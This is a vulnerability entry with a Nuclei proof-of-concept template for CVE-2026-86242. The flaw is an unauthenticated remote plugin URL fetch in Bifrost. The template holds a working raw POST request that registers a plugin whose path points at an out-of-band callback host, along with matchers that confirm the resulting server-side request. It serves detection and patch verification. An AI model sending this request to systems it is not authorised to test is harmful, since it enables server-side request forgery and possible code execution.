CVE-2026-86242: Bifrost < 1.6.3 - Unauthenticated Remote Plugin URL Fetch

2026-10-08 PoC Public

Description

When dashboard authentication is disabled, Bifrost accepts an enabled custom plugin with an HTTP URL as its path. The gateway fetches the URL before attempting to load it. This template confirms the unauthenticated server-side request with an out-of-band callback; it does not assert code execution on statically linked builds.

PoC

id: CVE-2026-86242

info:
  name: Bifrost < 1.6.3 - Unauthenticated Remote Plugin URL Fetch
  author: alex700
  severity: high
  description: |
    When dashboard authentication is disabled, Bifrost accepts an enabled custom plugin with an HTTP URL as its path. The gateway fetches the URL before attempting to load it. This template confirms the unauthenticated server-side request with an out-of-band callback; it does not assert code execution on statically linked builds.
  impact: |
    An unauthenticated network caller can cause the gateway to make outbound HTTP requests. Dynamically linked builds that can load a compatible Go plugin may permit code execution.
  remediation: |
    Upgrade Bifrost to a release that requires genuine admin authentication for custom plugin paths, such as transports v2.1.0 or later, and enable dashboard authentication.
  reference:
    - https://github.com/maximhq/bifrost/security/advisories/GHSA-2qp8-4xgm-fw6g
    - https://nvd.nist.gov/vuln/detail/CVE-2026-86242
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-86242
    epss-score: 0.03575
    epss-percentile: 0.89069
    cwe-id: CWE-94
  metadata:
    max-request: 1
    vendor: maximhq
    product: bifrost
  tags: cve,cve2026,bifrost,ssrf,oast,intrusive

variables:
  plugin_name: "nuclei_{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        POST /api/plugins HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{plugin_name}}","enabled":true,"path":"http://{{interactsh-url}}/{{randstr}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(body, "Plugin created in database but failed to load")'
          - 'contains(interactsh_protocol, "http")'
        condition: and
# digest: 4a0a00473045022100bf54f5848c81242c807ddacb33c336c9e0b12c8f61a5fbf1fc174898b98999d0022027fa1fb87d8a517574ca68e4975724a3580658244d9dbb4a7168c06ff46e96b5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.